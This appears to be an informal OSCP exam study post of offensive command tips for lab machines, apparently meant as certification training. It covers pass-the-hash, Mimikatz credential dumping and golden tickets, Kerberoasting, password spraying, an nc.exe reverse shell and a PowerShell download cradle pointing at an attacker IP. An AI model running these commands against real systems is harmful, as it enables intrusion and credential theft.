OSCP CTF Tips and Tricks

Now, what I found during the mock exams is quicker wins to level up your CTF game.

Ok, so we all know the root files are here:
C:\Users\Administrator\Desktop
/root/ 

But lets say you got root access first before local, you still need that
local flag:
linux 
find / -type f -name local.txt 2>/dev/null
find / -type f -name proof.txt 2>/dev/null
locate local.txt * this one is probably my favorite command to use

windows:
dir C:\ -Filter local.txt -Recurse -ErrorAction SilentlyContinue
dir C:\local.txt /s /

these will find the flag for you and you need the local on the report 
for the oscp
but then its just:

ifconfig && id && cat /root/proof.txt or local

Windows:
cd C:\Users\Administartor\Desktop
ipconfig && whoami && type proof.txt

Those commands have saved me so much time, plus on the report, if you rooted a box with an exploit, you can show both, at least explaining “I was able to get to root this with an exploit.” Plus, that’s one whole box done anyhow. Based on pure luck, but something to make sure you can do. Also, if you get a user and can’t flag the local account, at least now you know where it is. That is the experience I saw while doing a lot more proving ground boxes.

For AD, though, I had to learn a bit, and I'll add more of my notes for AD when I can. However, I found quick methods I ran into this weekend on the AD section of the mock exams.

Without violating the rules here:

This was a huge thing, and I asked offsec to place a ticket, but remember the workarounds. This is where real-world application doesn’t line up with the OSCP. So you get a hash for pass the hash, and you’re doing a red team engagement, stick with evil-winrm. Even for a pentest, stick with it, but you can also use impacket-psexec. The real reason Impacket isn’t the first is that it makes a lot of noise. Not sure if this was by design, but extremely annoying.

PS C:\> means the hash wasn't right but if you know you used secretdumps
or mimikatz, you're not going crazy, the hash is right, you may need to use a
different tool.

So using impacket-psexec worked. I wasn’t sure if this was intentional.

psexec.py -hashes <hash1>:<ntlm_hash> <domain>/<username>@<target_ip>
hash1 isn't really needed 
also you may not even need the doman 
psexec.py -hashes :<hash> ./administrator@$target

wimiexec is also good:
wmiexec.py administrator@10.10.10.16 -hashes :0e0363213e37b94221497260b0bcb4fc "whoami" 

Also, this works wonders too:

evil-winrm-py -i 192.168.1.100 -u Administrator -p P@ssw0rd --ssl

works the same way even with the hash 
evil-winrm-py -i 192.168.1.100 -u Administrator -H <hash> --ssl 

--ssl is meant to use the ssl, you may not even need it

Also on kali:

That way, you don’t have to worry about issues with using WinRM. Also saved me time. And honestly, I saw the tunnel vision too when I was checking out that error. So this was, things can go wrong, tools don’t work, but my main issue is the unstable environment. Is that normal? Not sure. It’s hard to tell, but I guess the “Try Harder” motto comes into play.

As a reminder, with AD chains: remember, you're most likely going for local admin before domain; compromise the machines first before jumping on the next box. Treat each machine like its own CTF before moving on.

But the good news is, if you are using evil-winrm, do these next steps:

once fully compromised, its basic mimikatz, rubeus, dumping sams, etc...


reg save HKLM\SAM C:\users\administrator\Desktop\sam
reg save HKLM\SYSTEM C:\users\administrator\Desktop\system


download sam
download system

impacket-secretsdump -sam sam -system system LOCAL

pash the hash from there

note: look for backups or off names, it could be a folder or an old image
download C:/*/Windows/system32/SAM
download C:/*/Windows/system32/SYSTEM

Other huge tip with Mimikatz:

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Golden ticket attack:
.\mimikatz.exe "privilege::debug" "kerberos::list" "exit"
You need the sid for the attack
whoami /user

.\mimikatz.exe "privilege::debug" "kerberos::golden /user:Administrator /domain:<FQDN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_NTLM_HASH> /id:500 /ptt" "exit"

sliver
.\mimikatz.exe "privilege::debug" "kerberos::golden /user:Administrator /domain:<FQDN> /sid:<DOMAIN_SID> /target:<SERVER_FQDN> /service:<SERVICE_NAME> /rc4:<COMPUTER_NTLM_HASH> /id:500 /ptt" "exit"

This will get you all the hashes you need, as well as the golden ticket.

Rubeus and Kerbrute:

.\Rubeus.exe kerberoast /outfile:hashes.txt or
.\Rubeus.exe kerberoast /nowrap

crack that offline

.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
hashcat -m 18200 -a 0 asrep.txt <wordlist.txt>

kerbrute:
./kerbrute_linux_amd64 userenum -d <DOMAIN> userlist.txt

./kerbrute_linux_amd64 passwordspray -d <DOMAIN> userlist.txt "Password123"

./kerbrute_linux_amd64 bruteuser -d <DOMAIN> passlist.txt <USERNAME>

Netexec reverse shell:

nc -lvnp 4444
nxc smb <Target_IP> -u <Username> -p <Password> -x "C:\path\to\nc.exe <Attacker_IP> 4444 -e cmd.exe"

Netexec wmi:

nxc wmi <Target_IP> -u <Username> -p <Password> -x "whoami /all"

MSSQL:

nxc mssql <Target_IP> -u <Username> -p <Password> -x "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://<Attacker_IP>/shell.ps1')"

RDP pass the hash:

xfreerdp /v:<TARGET_IP> /u:<USERNAME> /pth:<NTLM_HASH> /admin

So there is more than one way to gain a shell on AD.

For web-based enumeration:

ffuf -w wordlist.txt -u http://TARGET -H "Host: FUZZ.target.com" -sub domain

ffuf -u http://target.com -w /usr/share/seclists/Fuzzing/Databases/SQLi/sqli-fuzz.txt
sql example

use this command --fc 401 or other repsones

ffuf -u 'http://$target/test.php?view=/var/www/html/something/FUZZ' -w 'a' -c -t -50 -fs 286 -fw 41
could do log posing - if you can lfi

Gold rule for the OSCP: revert to Enumeration. 90% of failures are due to missing a small detail in the initial scan.

Remember the workflow:

Step one:
The "All-Ports" Rule

nmap -sC -sV -p- --open $target -v 

nmap -A -sV -sC -sU $target --top-ports 10 -Pn -v

scan for both of these! 

then for udp: 
snmpwalk -v2c -c public $target 1.3.6.1.4.1.8072.1.3.2 --> i had better luck
with this

Step two:
Don't just look for directories; look for extensions: -x php,txt,html,bak,zip
Check for common CMS types (WordPress, Joomla) using WPScan or look for manual 
exploits like LFI/RFI and SQL Injection.

Step three:
searchsploit <service_name> <version>
or github repo

Step four:
Privilege Esculation tips. Kernel Exploits: Use these as a last resort. 
OffSec labs and exams prioritize misconfigurations over kernel vulnerabilities.
Check for SUID binaries, writable /etc/passwd, and crontabs

Look for Unquoted Service Paths, AlwaysInstallElevated, and stored credentials 
in unattend.xml

Check weird folders

AD workflow:

Step one:
Nmap and Netexec

If you have a user, blood hound his creds and run nxc, could be rdp or winrm
access. But also remember, the machine you are working on, could have a 
web base exploit or a network one too. 

Step two:
Live off the land
powerview.ps1 or bloodhound 
manual searches: 
Get-NetComputer, Get-NetUser, or Get-NetGroupMember "Domain Admins"
Privesc, could be a windows local based exploit, think of local admin first
then move to the next chain

Step three:
Lateral Movement

rubeus and mimiktaz as well as dumping hashes with user or sam file

see if you can combine that with lsadump::dcsync if you can 
if not, keep enumerating, it's most likely going to be a windows exploit then 
dump user creds